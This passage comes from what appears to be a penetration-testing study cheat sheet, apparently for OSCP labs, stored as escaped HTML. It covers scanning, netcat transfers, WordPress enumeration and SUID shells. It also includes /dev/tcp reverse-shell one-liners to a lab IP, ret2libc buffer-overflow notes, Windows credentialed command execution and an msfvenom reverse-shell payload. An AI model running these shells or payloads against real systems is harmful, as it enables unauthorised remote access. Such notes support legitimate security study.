plugins&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check host availability&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -sn 172.16.131.0/24&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Initial scan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="41masscan"&gt;&lt;a href="#41masscan" class="header-anchor"&gt;&lt;/a&gt;41.masscan&#10;&lt;/h3&gt;&lt;p&gt;masscan -p 1-65535 10.10.10.58 &amp;ndash;rate=100&lt;/p&gt;&#10;&lt;h3 id="42nc"&gt;&lt;a href="#42nc" class="header-anchor"&gt;&lt;/a&gt;42.nc&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat aa.txt | nc -l -p 10000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -l -p 10000 &amp;lt; aa.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Client&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -n 192.168.1.100 10000 &amp;gt; aa.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;code&gt;plain Run this on the receiving end: (6666 can be any available port) nc -lvp 6666 &amp;gt; fileName Run this on the sending end: nc target_ip 6666 &amp;lt; fileName &lt;/code&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3 id="43wpscan"&gt;&lt;a href="#43wpscan" class="header-anchor"&gt;&lt;/a&gt;43.wpscan&#10;&lt;/h3&gt;&lt;p&gt;wpscan &amp;ndash;url &lt;a class="link" href="http://10.10.10.88:80/webservices/wp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88:80/webservices/wp&lt;/a&gt; -e ap &amp;ndash;plugins-detection aggressive -t 50 # thoroughly enumerate plugins&lt;/p&gt;&#10;&lt;h3 id="44sudo"&gt;&lt;a href="#44sudo" class="header-anchor"&gt;&lt;/a&gt;44.sudo&#10;&lt;/h3&gt;&lt;p&gt;sudo -u lets you specify a user and run an application that user is allowed to elevate with sudo.&lt;/p&gt;&#10;&lt;h3 id="45locate"&gt;&lt;a href="#45locate" class="header-anchor"&gt;&lt;/a&gt;45.locate&#10;&lt;/h3&gt;&lt;p&gt;locate backuper&lt;/p&gt;&#10;&lt;p&gt;Similar to find, but more convenient.&lt;/p&gt;&#10;&lt;h3 id="46bash"&gt;&lt;a href="#46bash" class="header-anchor"&gt;&lt;/a&gt;46.bash&#10;&lt;/h3&gt;&lt;p&gt;/bin/bash bash -p&#9;# spawns a new shell with the current privileges; this can be useful in scripts, for example with SUID&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include &amp;amp;lt;unistd.h&amp;amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;void main() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;execl(&amp;#34;/bin/bash&amp;#34;, &amp;#34;bash&amp;#34;, &amp;#34;-p&amp;#34;, NULL);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```text&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="47gcc"&gt;&lt;a href="#47gcc" class="header-anchor"&gt;&lt;/a&gt;47.gcc&#10;&lt;/h3&gt;&lt;p&gt;For version compatibility issues, use static linking. Some hosts are 32-bit, so add m32.&lt;/p&gt;&#10;&lt;p&gt;gcc -static -m32 -o 1 1.c&lt;/p&gt;&#10;&lt;h3 id="48irc"&gt;&lt;a href="#48irc" class="header-anchor"&gt;&lt;/a&gt;48.irc&#10;&lt;/h3&gt;&lt;p&gt;IRC is chat software. Just launch it with HexChat; the rest of the setup is fairly straightforward.&lt;/p&gt;&#10;&lt;h3 id="49ssh-configuration-file"&gt;&lt;a href="#49ssh-configuration-file" class="header-anchor"&gt;&lt;/a&gt;49.SSH Configuration File&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/qq_41765918/article/details/126837789" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/qq_41765918/article/details/126837789&lt;/a&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Public Key Filename&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;On the machine you want to trust, the public key file is named authorized_keys. If there are multiple machines, put each key on its own line. The filename is determined by the AuthorizedKeysFile parameter in /etc/ssh/sshd_config; the default is authorized_keys.&lt;/p&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;Public Key Path&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Open /etc/ssh/sshd_config and find the AuthorizedKeysFile .ssh/authorized_keys setting, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If the setting is uncommented, place the authorized_keys file in the configured directory. If it is still commented out, the file goes under ~/.ssh/.&lt;/p&gt;&#10;&lt;ol start="3"&gt;&#10;&lt;li&gt;Permissions&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Directory structure: ~/.ssh/authorized_keys&lt;/p&gt;&#10;&lt;p&gt;Set the authorized_keys file permissions to 600, the .ssh directory permissions to 700, and the home directory permissions to 755.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#Disable root login; enable this if logging in as root&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PermitRootLogin yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Whether sshd checks permissions on the user&amp;#39;s home directory and related files.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This prevents problems caused by incorrect permissions on important files.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For example, incorrect permissions on ~/.ssh/ may prevent login in some cases.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;StrictModes no&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Whether users may log in with key pairs; applies only to version 2.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# User public keys are stored in .ssh/authorized_keys under the home directory.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RSAAuthentication yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PubkeyAuthentication yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AuthorizedKeysFile .ssh/authorized_keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Disable password login once key-based login is configured.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PasswordAuthentication no&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="50multiple-shells"&gt;&lt;a href="#50multiple-shells" class="header-anchor"&gt;&lt;/a&gt;50.Multiple Shells&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setsid bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.14/9999 &amp;lt;&amp;amp;1&amp;#39; &amp;gt; output.log 2&amp;gt;&amp;amp;1 &amp;amp;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nohup setsid bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.14/9999 &amp;lt;&amp;amp;1&amp;#39; &amp;gt; output.log 2&amp;gt;&amp;amp;1 &amp;amp;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="51buffer-overflow-brief-notes"&gt;&lt;a href="#51buffer-overflow-brief-notes" class="header-anchor"&gt;&lt;/a&gt;51.Buffer Overflow (Brief Notes)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;info registers&#9;&#9;#Crash information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;disassemble&#9;&#9;&#9;&#9;#Add an argument, such as disassemble main, to view the function&amp;#39;s assembly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldd&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;#Find dynamic libraries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldd rop | grep libc&#9;&#9;#rop is the target program&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;readelf&#9;&#9;&#9;&#9;&#9;&#9;#Find function offsets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;#34; system&amp;#34;&#9;&#9;#Find the system function offset&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;#34;/bin/sh&amp;#34;&#9;&#9;#Find the /bin/sh string address&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;break *0x80484f8&#9;#Set a breakpoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;x/20x $esp&#9;&#9;&#9;&#9;#View stack data&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Dump of assembler code for function vuln:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x080484f8 &amp;lt;+0&amp;gt;: push %ebp&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;#Push the caller&amp;#39;s frame base onto the stack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x080484f9 &amp;lt;+1&amp;gt;: mov %esp,%ebp&#9;&#9;&#9;&#9;&#9;&#9;#Set ebp to the current stack top&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x080484fb &amp;lt;+3&amp;gt;: sub $0x38,%esp&#9;&#9;&#9;&#9;&#9;&#9;#Subtract 56 bytes from the stack pointer to allocate space&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x080484fe &amp;lt;+6&amp;gt;: sub $0x8,%esp&#9;&#9;&#9;&#9;&#9;&#9;#Subtract 8 bytes from the stack pointer to allocate space&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048501 &amp;lt;+9&amp;gt;: push 0x8(%ebp)&#9;&#9;&#9;&#9;&#9;&#9;#Push the 8-byte argument onto the stack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048504 &amp;lt;+12&amp;gt;: lea -0x30(%ebp),%eax&#9;&#9;&#9;#Subtract 48 bytes from ebp and store the address in eax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048507 &amp;lt;+15&amp;gt;: push %eax&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;#Push eax onto the stack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048508 &amp;lt;+16&amp;gt;: call 0x8048350 &amp;lt;strcpy@plt&amp;gt;&#9;#Call strcpy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x0804850d &amp;lt;+21&amp;gt;: add $0x10,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048510 &amp;lt;+24&amp;gt;: sub $0xc,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048513 &amp;lt;+27&amp;gt;: push $0x80485dd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048518 &amp;lt;+32&amp;gt;: call 0x8048340 &amp;lt;printf@plt&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x0804851d &amp;lt;+37&amp;gt;: add $0x10,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048520 &amp;lt;+40&amp;gt;: sub $0xc,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048523 &amp;lt;+43&amp;gt;: lea -0x30(%ebp),%eax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048526 &amp;lt;+46&amp;gt;: push %eax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048527 &amp;lt;+47&amp;gt;: call 0x8048340 &amp;lt;printf@plt&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x0804852c &amp;lt;+52&amp;gt;: add $0x10,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x0804852f &amp;lt;+55&amp;gt;: nop&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048530 &amp;lt;+56&amp;gt;: leave&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048531 &amp;lt;+57&amp;gt;: ret&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="52windows-switch-users"&gt;&lt;a href="#52windows-switch-users" class="header-anchor"&gt;&lt;/a&gt;52.Windows: Switch Users&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:administrator cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec -u app -p password powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$username = &amp;#34;app&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$password = ConvertTo-SecureString &amp;#34;password&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential($username, $password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 1: Invoke-Command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock { COMMAND_TO_EXECUTE } -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 2: Start-Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process powershell -Credential $cred -ArgumentList &amp;#34;COMMAND_TO_EXECUTE&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="53msfvenom"&gt;&lt;a href="#53msfvenom" class="header-anchor"&gt;&lt;/a&gt;53.msfvenom&#10;&lt;/h3&gt;&lt;p&gt;On Windows, getting a reverse shell seems a bit more troublesome. Unlike Linux, it is not nearly as convenient to bounce a shell back.&lt;/p&gt;&#10;&lt;p&gt;That is when all kinds of msfvenom reverse-shell payloads come in handy, so I am keeping a record of them here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;For non-MSF reverse-shell scripts, use an nc listener&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 